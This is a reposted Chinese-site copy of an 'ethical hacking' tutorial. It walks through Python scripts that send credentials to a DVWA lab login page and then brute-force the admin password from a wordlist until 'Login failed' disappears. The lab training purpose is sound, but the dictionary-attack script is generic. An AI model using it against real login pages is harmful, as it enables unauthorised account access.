码迷,mamicode.com
首页 > 编程语言 > 详细

Python Ethical Hacking - WEB PENETRATION TESTING(5)

时间:2019-10-20 11:22:35      阅读:93      评论:0      收藏:0      [点我收藏+]

标签:dmi   exit   rip   fail   BMI   format   env   strip   color   

Guessing Login Information on Login Pages

Our target website: http://10.0.0.45/dvwa/login.php

技术图片

 

 

#!/usr/bin/env python

import requests

target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "dfdfddfd", "password": "1234", "Login": "submit"}
response = requests.post(target_url, data = data_dict)
print(response.content.decode())

Execute the Python Script.

技术图片

 

 

#!/usr/bin/env python

import requests

target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "admin", "password": "password", "Login": "submit"}
response = requests.post(target_url, data = data_dict)
print(response.content.decode())

技术图片

 

 

#!/usr/bin/env python

import requests

target_url = "http://10.0.0.45/dvwa/login.php"
data_dict = {"username": "admin", "password": "", "Login": "submit"}

with open("password.list", "r") as wordlist_file:
    for line in wordlist_file:
        word = line.strip()
        data_dict["password"] = word
        response = requests.post(target_url, data=data_dict)
        if "Login failed" not in response.content.decode():
            print("[+] Got the password --> " + word)
            exit()

print("[+] Reached end of line.")

技术图片

 

Python Ethical Hacking - WEB PENETRATION TESTING(5)

标签:dmi   exit   rip   fail   BMI   format   env   strip   color   

原文地址:https://www.cnblogs.com/keepmoving1113/p/11706825.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!